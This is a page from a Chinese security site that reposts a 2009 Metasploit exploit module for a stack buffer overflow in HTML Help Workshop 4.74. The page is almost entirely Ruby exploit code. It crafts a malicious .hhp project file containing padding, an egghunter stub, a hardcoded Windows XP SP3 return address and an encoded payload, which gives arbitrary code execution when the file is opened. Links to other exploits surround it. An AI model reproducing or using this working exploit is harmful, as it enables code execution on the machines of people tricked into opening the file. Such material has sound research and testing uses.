首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit(MSF)
来源:http://www.metasploit.com 作者:loneferret 发布时间:2009-12-08  
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT
        
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
            'Description'    => %q{
                    This module exploits a stack overflow in HTML Help Workshop 4.74
                    By creating a specially crafted hhp file, an an attacker may be able
                    to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'loneferret, original by Encrypt3d.M!nd' ],
            'Version'        => '$Revision: 7724 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },                
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -4800,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI  \x93\x1f\x40\x00
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 05 2009',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME',   [ false, 'The file name.',  'Devil.hhp']),
                ], self.class)

    end

    def exploit

        sploit = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53\x5D\x0D\x0A\x43\x6F\x6E\x74\x65"
        sploit << "\x6E\x74\x73\x20\x66\x69\x6C\x65\x3D\x41\x0D\x0A\x49\x6E\x64\x65\x78\x20\x66\x69\x6C\x65\x3D"
        sploit << "\x41" * 224
        sploit << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
        sploit << "\x42" * 24
        sploit << [target.ret].pack('V')
        sploit << "\x0d\x0a\x0d\x0a"
        sploit << "\x5B\x46\x49\x4C\x45\x53\x5D\x0D"
        sploit << "\x0d\x0a"
        sploit << "\x41" * 16
        sploit << "\x69\x72\x61\x71\x69\x72\x61\x71"
        sploit << payload.encoded
        sploit << "\x41" * 4000
 
        hhp = sploit

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(hhp)
    end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IDEAL Administration 2009 v9.7
·Polipo 1.0.4 Remote Memory Cor
·Symantec System Center Alert M
·gAlan 0.2.1 Buffer Overflow 0d
·Adobe Illustrator CS4 v14.0.0
·Adobe Illustrator CS4 v14.0.0
·gAlan (.galan file) Universal
·VLC Media Player 1.0.3 smb://
·gAlan 0.2.1 Buffer Overflow Ex
·VLC Media Player <= 1.0.3 RTSP
·又一上传突破
·IDEAL Administration 2009 Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved